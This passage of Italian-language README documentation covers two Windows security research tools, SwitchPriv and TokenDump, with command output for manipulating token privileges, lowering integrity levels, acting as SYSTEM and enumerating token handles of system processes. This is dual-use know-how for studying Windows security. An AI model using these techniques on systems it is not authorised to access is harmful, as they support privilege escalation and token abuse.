SeChangeNotifyPrivilege       EnabledByDefault, Disabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Per rimuovere il privilegio, usa l'opzione --remove come segue:``` PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 9408 [] Process Name : Notepad [+] Got 5 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ============================= ========================== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Disabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -r inc

[>] Trying to remove a token privilege. [] Target PID : 9408 [] Process Name : Notepad [+] SeIncreaseWorkingSetPrivilege is removed successfully. [*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 9408 [] Process Name : Notepad [+] Got 4 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ======================= ========================== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Disabled SeUndockPrivilege Enabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

Se vuoi testare un privilegio specifico, puoi rimuovere tutti i privilegi tranne quello che vuoi testare con l'opzione `-f` come segue:```
PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Enabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Enabled
SeTimeZonePrivilege           Enabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -f tim

[>] Trying to remove all token privileges except one.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[>] Trying to remove all privileges except for SeTimeZonePrivilege.
[+] SeShutdownPrivilege is removed successfully.
[+] SeChangeNotifyPrivilege is removed successfully.
[+] SeUndockPrivilege is removed successfully.
[+] SeIncreaseWorkingSetPrivilege is removed successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[+] Got 1 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name      State
=================== =======
SeTimeZonePrivilege Enabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

È possibile utilizzare valori separati da virgola per filtrare più privilegi come segue:``` PS C:\Dev> .\SwitchPriv.exe -p 24300 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 24300 [] Process Name : powershell [+] Got 24 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================================= ========================= SeIncreaseQuotaPrivilege Disabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege Disabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege Disabled SeIncreaseBasePriorityPrivilege Disabled SeCreatePagefilePrivilege Disabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeRemoteShutdownPrivilege Disabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled SeCreateSymbolicLinkPrivilege Disabled SeDelegateSessionUserImpersonatePrivilege Disabled

[] Integrity Level : High Mandatory Level [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 24300 -f rest,back,deb

[>] Trying to remove all token privileges except one. [] Target PID : 24300 [] Process Name : powershell [>] Trying to remove privileges other than follows. [] SeBackupPrivilege [] SeRestorePrivilege [] SeDebugPrivilege [+] SeIncreaseQuotaPrivilege is removed successfully. [+] SeSecurityPrivilege is removed successfully. [+] SeTakeOwnershipPrivilege is removed successfully. [+] SeLoadDriverPrivilege is removed successfully. [+] SeSystemProfilePrivilege is removed successfully. [+] SeSystemtimePrivilege is removed successfully. [+] SeProfileSingleProcessPrivilege is removed successfully. [+] SeIncreaseBasePriorityPrivilege is removed successfully. [+] SeCreatePagefilePrivilege is removed successfully. [+] SeShutdownPrivilege is removed successfully. [+] SeSystemEnvironmentPrivilege is removed successfully. [+] SeChangeNotifyPrivilege is removed successfully. [+] SeRemoteShutdownPrivilege is removed successfully. [+] SeUndockPrivilege is removed successfully. [+] SeManageVolumePrivilege is removed successfully. [+] SeImpersonatePrivilege is removed successfully. [+] SeCreateGlobalPrivilege is removed successfully. [+] SeIncreaseWorkingSetPrivilege is removed successfully. [+] SeTimeZonePrivilege is removed successfully. [+] SeCreateSymbolicLinkPrivilege is removed successfully. [+] SeDelegateSessionUserImpersonatePrivilege is removed successfully. [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 24300 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 24300 [] Process Name : powershell [+] Got 3 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================= ======== SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeDebugPrivilege Enabled

[] Integrity Level : High Mandatory Level [] Done.

Per abilitare, disabilitare o rimuovere tutti i privilegi del token disponibili, specificare `all` come valore per l'opzione `--enable`, `--disable` o `--remove`:```
PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
PS C:\Dev> .\SwitchPriv.exe -e all

[>] Trying to enable all token privileges.
    [*] Target PID   : 6772
    [*] Process Name : powershell
[+] SeShutdownPrivilege is enabled successfully.
[+] SeUndockPrivilege is enabled successfully.
[+] SeIncreaseWorkingSetPrivilege is enabled successfully.
[+] SeTimeZonePrivilege is enabled successfully.
[*] Done.

PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

Per trovare un processo che ha un privilegio specifico, usa l'opzione -s come segue:``` PS C:\Dev> .\SwitchPriv.exe -s createt

[>] Searching processes have SeCreateTokenPrivilege. [+] Got 5 process(es). [] Memory Compression (PID : 2548) [] smss (PID : 372) [] lsass (PID : 736) [] csrss (PID : 584) [] csrss (PID : 504) [] Access is denied by following 2 process(es). [] System (PID : 4) [] Idle (PID : 0) [*] Done.

PS C:\Dev> .\SwitchPriv.exe -g -p 2548

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 2548 [] Process Name : Memory Compression [+] Got 31 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================================= ========================= SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege EnabledByDefault, Enabled SeIncreaseQuotaPrivilege Disabled SeTcbPrivilege EnabledByDefault, Enabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege EnabledByDefault, Enabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege EnabledByDefault, Enabled SeIncreaseBasePriorityPrivilege EnabledByDefault, Enabled SeCreatePagefilePrivilege EnabledByDefault, Enabled SeCreatePermanentPrivilege EnabledByDefault, Enabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege EnabledByDefault, Enabled SeAuditPrivilege EnabledByDefault, Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeTrustedCredManAccessPrivilege Disabled SeRelabelPrivilege Disabled SeIncreaseWorkingSetPrivilege EnabledByDefault, Enabled SeTimeZonePrivilege EnabledByDefault, Enabled SeCreateSymbolicLinkPrivilege EnabledByDefault, Enabled SeDelegateSessionUserImpersonatePrivilege EnabledByDefault, Enabled

[] Integrity Level : System Mandatory Level [] Done.

Se si desidera impostare il livello di integrità, utilizzare l'opzione `--integrity` come segue:```
PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192

PS C:\Dev> .\SwitchPriv.exe -i 1

[>] Trying to update Integrity Level.
    [*] Target PID   : 3436
    [*] Process Name : powershell
[>] Trying to update Integrity Level to LOW_MANDATORY_LEVEL.
[+] Integrity Level is updated successfully.
[*] Done.

PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Low Mandatory Level                           Label            S-1-16-4096

Per eseguire qualsiasi azione come SYSTEM, imposta il flag -S come segue (sono richiesti SeDebugPrivilege e SeImpersonatePrivilege):``` PS C:\Dev> .\SwitchPriv.exe -g -p 2548 -S

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 2548 [] Process Name : Memory Compression [>] Trying to get SYSTEM. [+] Got SYSTEM privilege. [+] Got 31 token privilege(s).

PRIVILEGES INFORMATION

[] Integrity Level : System Mandatory Level [] Done.

## TokenDump

[Torna all'inizio](#privfu)

[Progetto](https://github.com/daem0nc0re/privfu/blob/main/TokenDump)


Questo strumento è un'utilità per ispezionare le informazioni sui token:```
C:\Dev>.\TokenDump.exe -h

TokenDump - Tool to dump processs token information.

Usage: TokenDump.exe [Options]

        -h, --help    : Displays this help message.
        -d, --debug   : Flag to enable SeDebugPrivilege.
        -e, --enum    : Flag to enumerate brief information tokens for processes or handles.
        -T, --thread  : Flag to scan thead tokens. Use with -e option.
        -H, --handle  : Flag to scan token handles. Use with -e option.
        -s, --scan    : Flag to get verbose information for a specific process, thread or handle.
        -a, --account : Specifies account name filter string. Use with -e flag.
        -p, --pid     : Specifies a target PID in decimal format. Use with -s flag, or -e and -H flag.
        -t, --tid     : Specifies a target TID in decimal format. Use with -s flag and -p option.
        -v, --value   : Specifies a token handle value in hex format. Use with -s flag and -p option.

Per enumerare i token per tutti i processi, basta impostare il flag -e:``` C:\Dev>.\TokenDump.exe -e

[>] Trying to enumerate process token.

PID Session Process Name Token User Integrity Restricted AppContainer ==== ======= =========================== ============================ ========= ========== ============ 5004 0 svchost.exe NT AUTHORITY\SYSTEM System False False 3728 0 conhost.exe NT AUTHORITY\SYSTEM System False False

--snip--

6712 0 svchost.exe NT AUTHORITY\LOCAL SERVICE System False False 1972 0 svchost.exe NT AUTHORITY\SYSTEM System False False

[+] Got 129 token information. [] Found 7 account(s). [] NT AUTHORITY\SYSTEM [] dev22h2\user [] NT AUTHORITY\LOCAL SERVICE [] NT AUTHORITY\NETWORK SERVICE [] Font Driver Host\UMFD-0 [] Font Driver Host\UMFD-1 [] Window Manager\DWM-1 [*] Done.

Se desideri abilitare SeDebugPrivilege, imposta il flag `-d` come segue:```
C:\Dev>.\TokenDump.exe -e -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.

 PID Session Process Name                Token User                   Integrity Restricted AppContainer
==== ======= =========================== ============================ ========= ========== ============
5004       0 svchost.exe                 NT AUTHORITY\SYSTEM          System    False      False
3728       0 conhost.exe                 NT AUTHORITY\SYSTEM          System    False      False
3740       0 vm3dservice.exe             NT AUTHORITY\SYSTEM          System    False      False

--snip--

Quando si imposta il flag -H con il flag -e, TokenDump tenta di enumerare le informazioni sugli handle dei token:``` C:\Dev>.\TokenDump.exe -e -H -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate token handles.

[Token Handle(s) - winlogon.exe (PID: 704)]

Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level ====== ======= =================== ========= ========== ============ ============= =================== 0x2B0 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous 0x2B4 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous 0x38C 1 dev22h2\user Medium False False Primary Impersonation

--snip--

[Token Handle(s) - svchost.exe (PID: 3272)]

[+] Got 819 handle(s). [] Found 8 account(s). [] NT AUTHORITY\SYSTEM [] dev22h2\user [] Font Driver Host\UMFD-1 [] Font Driver Host\UMFD-0 [] NT AUTHORITY\NETWORK SERVICE [] Window Manager\DWM-1 [] NT AUTHORITY\LOCAL SERVICE [] NT AUTHORITY\ANONYMOUS LOGON [] Done.

Quando viene specificato un PID con l'opzione `-p`, TokenDup enumera solo gli handle del processo specificato:```
C:\Dev>.\TokenDump.exe -e -H -d -p 704

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.

[Token Handle(s) - winlogon.exe (PID: 704)]

Handle Session Token User          Integrity Restricted AppContainer Token Type    Impersonation Level
====== ======= =================== ========= ========== ============ ============= ===================
 0x2B0       1 NT AUTHORITY\SYSTEM System    False      False        Primary       Anonymous
 0x2B4       1 NT AUTHORITY\SYSTEM System    False      False        Primary       Anonymous
 0x38C       1 dev22h2\user        Medium    False      False        Primary       Impersonation
 0x398       1 dev22h2\user        High      False      False        Primary       Identification
 0x3C4       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3C8       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3D0       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3D4       1 dev22h2\user        Medium    False      False        Impersonation Impersonation

[+] Got 8 handle(s).
[*] Found 2 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
[*] Done.

Per enumerare il token di thread impersonato, imposta il flag -T e il flag -e come segue:``` C:\Dev>.\TokenDump.exe -e -T -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate impersonated threads.

PID TID Session Process Name Token User Integrity Impersonation Level ==== ==== ======= ============ =================== ========= =================== 1952 2000 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 1952 2300 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4348 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4656 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation

[+] Got 4 thread(s). [] Found 1 account(s). [] NT AUTHORITY\SYSTEM [*] Done.

Se vuoi filtrare questi risultati con token username, imposta la stringa di filtro come valore dell'opzione `-a` come segue:```
C:\Dev>.\TokenDump.exe -e -a network -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.

 PID Session Process Name Token User                   Integrity Restricted AppContainer
==== ======= ============ ============================ ========= ========== ============
1932       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
3500       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
2904       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
2504       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
7012       0 msdtc.exe    NT AUTHORITY\NETWORK SERVICE System    False      False
7092       0 sppsvc.exe   NT AUTHORITY\NETWORK SERVICE System    False      False
1676       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
3584       0 WmiPrvSE.exe NT AUTHORITY\NETWORK SERVICE System    False      False
1000       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False

[+] Got 9 token information.
[*] Found 7 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
    [*] NT AUTHORITY\LOCAL SERVICE
    [*] NT AUTHORITY\NETWORK SERVICE
    [*] Font Driver Host\UMFD-0
    [*] Font Driver Host\UMFD-1
    [*] Window Manager\DWM-1
[*] Done.

C:\Dev>.\TokenDump.exe -e -a network -d -H

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.

[Token Handle(s) - lsass.exe (PID: 768)]

Handle Session Token User                   Integrity Restricted AppContainer Token Type    Impersonation Level
====== ======= ============================ ========= ========== ============ ============= ===================
 0x914       0 NT AUTHORITY\NETWORK SERVICE System    False      False        Impersonation Impersonation

--snip--

[Token Handle(s) - msdtc.exe (PID: 7012)]

Handle Session Token User                   Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= ============================ ========= ========== ============ ========== ===================
 0x23C       0 NT AUTHORITY\NETWORK SERVICE System    False      False        Primary    Anonymous

[+] Got 27 handle(s).
[*] Found 8 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
    [*] Font Driver Host\UMFD-1
    [*] Font Driver Host\UMFD-0
    [*] NT AUTHORITY\NETWORK SERVICE
    [*] Window Manager\DWM-1
    [*] NT AUTHORITY\LOCAL SERVICE
    [*] NT AUTHORITY\ANONYMOUS LOGON
[*] Done.

Per ottenere informazioni dettagliate su un processo specifico, imposta il flag -s e il PID target come valore dell'opzione -p:``` C:\Dev>.\TokenDump.exe -s -p 5996

[>] Trying to dump process token information.

[Token Information for StartMenuExperienceHost.exe (PID: 5996)]

ImageFilePath : C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe CommandLine : "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca Token User : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Token Owner : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Primary Group : dev22h2\None (SID: S-1-5-21-3896868301-3921591151-1374190648-513) Token Type : Primary Impersonation Level : Anonymous Token ID : 0x0000000000063D9A Authentication ID : 0x000000000001DFE5 Original ID : 0x00000000000003E7 Modified ID : 0x0000000000063D24 Integrity Level : Low Protection Level : N/A Session ID : 1 Elevation Type : Limited Mandatory Policy : NoWriteUp Elevated : False AppContainer : True TokenFlags : VirtualizeAllowed, IsFiltered, LowBox AppContainer Name : microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy AppContainer SID : S-1-15-2-515815643-2845804217-1874292103-218650560-777617685-4287762684-137415000 AppContainer Number : 2 Has Linked Token : True Token Source : User32 Token Source ID : 0x000000000001DE9D

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege Disabled


GROUP INFORMATION
-----------------

Group Name                                                    Attributes
============================================================= =============================================
dev22h2\None                                                  Mandatory, EnabledByDefault, Enabled
Everyone                                                      Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group UseForDenyOnly
BUILTIN\Administrators                                        UseForDenyOnly
BUILTIN\Users                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE                                      Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users                              Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization                                Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account                                    Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425                          Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL                                                         Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication                              Mandatory, EnabledByDefault, Enabled
Mandatory Label\Low Mandatory Level                           Integrity, IntegrityEnabled


APPCONTAINER CAPABILITIES
-------------------------

Capability Name                                                            Flags
========================================================================== =======
APPLICATION PACKAGE AUTHORITY\Your Internet connection                     Enabled
APPLICATION PACKAGE AUTHORITY\Your home or work networks                   Enabled
NAMED CAPABILITIES\PackageQuery                                            Enabled
NAMED CAPABILITIES\ActivitySystem                                          Enabled
NAMED CAPABILITIES\PreviewStore                                            Enabled
NAMED CAPABILITIES\CortanaPermissions                                      Enabled
NAMED CAPABILITIES\AppointmentsSystem                                      Enabled
NAMED CAPABILITIES\TeamEditionExperience                                   Enabled
NAMED CAPABILITIES\ShellExperience                                         Enabled
NAMED CAPABILITIES\PackageContents                                         Enabled
NAMED CAPABILITIES\VisualElementsSystem                                    Enabled
NAMED CAPABILITIES\UserAccountInformation                                  Enabled
NAMED CAPABILITIES\ActivityData                                            Enabled
NAMED CAPABILITIES\CloudStore                                              Enabled
NAMED CAPABILITIES\TargetedContent                                         Enabled
NAMED CAPABILITIES\StoreAppInstall                                         Enabled
NAMED CAPABILITIES\StoreLicenseManagement                                  Enabled
NAMED CAPABILITIES\CortanaSettings                                         Enabled
NAMED CAPABILITIES\DependencyTarget                                        Enabled
NAMED CAPABILITIES\SearchSettings                                          Enabled
NAMED CAPABILITIES\CellularData                                            Enabled
NAMED CAPABILITIES\WifiData                                                Enabled
PACKAGE CAPABILITY\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy Enabled
NAMED CAPABILITIES\AccessoryManager                                        Enabled
NAMED CAPABILITIES\UserAccountInformation                                  Enabled


DACL INFORMATION
----------------

Account Name                                            Access                      Flags Type
======================================================= =========================== ===== =============
dev22h2\user                                            GenericAll                  None  AccessAllowed
NT AUTHORITY\SYSTEM                                     GenericAll                  None  AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425                    GenericExecute, GenericRead None  AccessAllowed
microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy GenericAll                  None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] WIN://SYSAPPID
    Flags : None
    Type  : String
        Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
        Value[0x01] : App
        Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy

[*] WIN://PKG
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x0000000200000001

[*] WIN://PKGHOSTID
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x1000000000000001

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000041
        Value[0x01] : 0x0000000000063D9B

[Linked Token Information for StartMenuExperienceHost.exe (PID: 5996)]

Token User : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Token Owner : BUILTIN\Administrators (SID: S-1-5-32-544) Primary Group : dev22h2\None (SID: S-1-5-21-3896868301-3921591151-1374190648-513) Token Type : Impersonation Impersonation Level : Identification Token ID : 0x000000000016ECE6 Authentication ID : 0x000000000001DF83 Original ID : 0x00000000000003E7 Modified ID : 0x000000000001DFE4 Integrity Level : High Protection Level : N/A Session ID : 1 Elevation Type : Full Mandatory Policy : NoWriteUp, NewProcessMin Elevated : True AppContainer : False TokenFlags : NotLow Token Source : User32 Token Source ID : 0x000000000001DE9D

PRIVILEGES INFORMATION
----------------------

Privilege Name                            State
========================================= =========================
SeIncreaseQuotaPrivilege                  Disabled
SeSecurityPrivilege                       Disabled
SeTakeOwnershipPrivilege                  Disabled
SeLoadDriverPrivilege                     Disabled
SeSystemProfilePrivilege                  Disabled
SeSystemtimePrivilege                     Disabled
SeProfileSingleProcessPrivilege           Disabled
SeIncreaseBasePriorityPrivilege           Disabled
SeCreatePagefilePrivilege                 Disabled
SeBackupPrivilege                         Disabled
SeRestorePrivilege                        Disabled
SeShutdownPrivilege                       Disabled
SeDebugPrivilege                          Disabled
SeSystemEnvironmentPrivilege              Disabled
SeChangeNotifyPrivilege                   EnabledByDefault, Enabled
SeRemoteShutdownPrivilege                 Disabled
SeUndockPrivilege                         Disabled
SeManageVolumePrivilege                   Disabled
SeImpersonatePrivilege                    EnabledByDefault, Enabled
SeCreateGlobalPrivilege                   EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege             Disabled
SeTimeZonePrivilege                       Disabled
SeCreateSymbolicLinkPrivilege             Disabled
SeDelegateSessionUserImpersonatePrivilege Disabled


GROUP INFORMATION
-----------------

Group Name                                                    Attributes
============================================================= =============================================
dev22h2\None                                                  Mandatory, EnabledByDefault, Enabled
Everyone                                                      Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators                                        Mandatory, EnabledByDefault, Enabled, Owner
BUILTIN\Users                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE                                      Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users                              Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization                                Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account                                    Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425                          Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL                                                         Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication                              Mandatory, EnabledByDefault, Enabled
Mandatory Label\High Mandatory Level                          Integrity, IntegrityEnabled


DACL INFORMATION
----------------

Account Name                         Access                      Flags Type
==================================== =========================== ===== =============
BUILTIN\Administrators               GenericAll                  None  AccessAllowed
NT AUTHORITY\SYSTEM                  GenericAll                  None  AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425 GenericExecute, GenericRead None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] WIN://SYSAPPID
    Flags : None
    Type  : String
        Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
        Value[0x01] : App
        Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy

[*] WIN://PKG
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x0000000200000001

[*] WIN://PKGHOSTID
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x1000000000000001

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000041
        Value[0x01] : 0x0000000000063D9B

[*] Done.

Se imposti il valore dell'handle in un processo specifico come opzione `-v` e il PID come opzione `-p` insieme al flag `-s`, questo tool ottiene informazioni dettagliate per l'handle come segue:```
C:\Dev>.\TokenDump.exe -s -p 7012 -v 0x23C -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to dump token handle information.

[Token Information for Handle 0x23C of msdtc.exe (PID: 7012)]

Token User          : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Owner         : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Primary Group       : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Type          : Primary
Impersonation Level : Anonymous
Token ID            : 0x000000000007DF17
Authentication ID   : 0x00000000000003E4
Original ID         : 0x00000000000003E7
Modified ID         : 0x000000000007DEE2
Integrity Level     : System
Protection Level    : N/A
Session ID          : 0
Elevation Type      : Default
Mandatory Policy    : NoWriteUp, NewProcessMin
Elevated            : False
AppContainer        : False
TokenFlags          : IsFiltered, NotLow
Has Linked Token    : False
Token Source        : N/A
Token Source ID     : N/A


    PRIVILEGES INFORMATION
    ----------------------

    Privilege Name          State
    ======================= =========================
    SeChangeNotifyPrivilege EnabledByDefault, Enabled
    SeCreateGlobalPrivilege EnabledByDefault, Enabled


    GROUP INFORMATION
    -----------------

    Group Name                             Attributes
    ====================================== ====================================================
    Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
    Everyone                               Mandatory, EnabledByDefault, Enabled
    BUILTIN\Users                          Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\SERVICE                   Mandatory, EnabledByDefault, Enabled
    CONSOLE LOGON                          Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\Authenticated Users       Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\This Organization         Mandatory, EnabledByDefault, Enabled
    NT SERVICE\MSDTC                       EnabledByDefault, Enabled, Owner
    NT AUTHORITY\LogonSessionId_0_515780   Mandatory, EnabledByDefault, Enabled, Owner, LogonId
    LOCAL                                  Mandatory, EnabledByDefault, Enabled


    DACL INFORMATION
    ----------------

    Account Name        Access      Flags Type
    =================== =========== ===== =============
    NT AUTHORITY\SYSTEM GenericAll  None  AccessAllowed
    OWNER RIGHTS        ReadControl None  AccessAllowed
    NT SERVICE\MSDTC    GenericAll  None  AccessAllowed


    SECURITY ATTRIBUTES INFORMATION
    -------------------------------

    [*] TSA://ProcUnique
        Flags : NonInheritable, Unique
        Type  : UInt64
            Value[0x00] : 0x0000000000000070
            Value[0x01] : 0x000000000007DF18


[*] Done.

Per investigare il token impersonate applicato al thread, imposta l'ID del thread come opzione -t come segue:``` C:\Dev>.\TokenDump.exe -e -T -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate impersonated threads.

[+] Got 4 thread(s). [] Found 1 account(s). [] NT AUTHORITY\SYSTEM [*] Done.

C:\Dev>.\TokenDump.exe -s -p 3516 -t 4656 -d

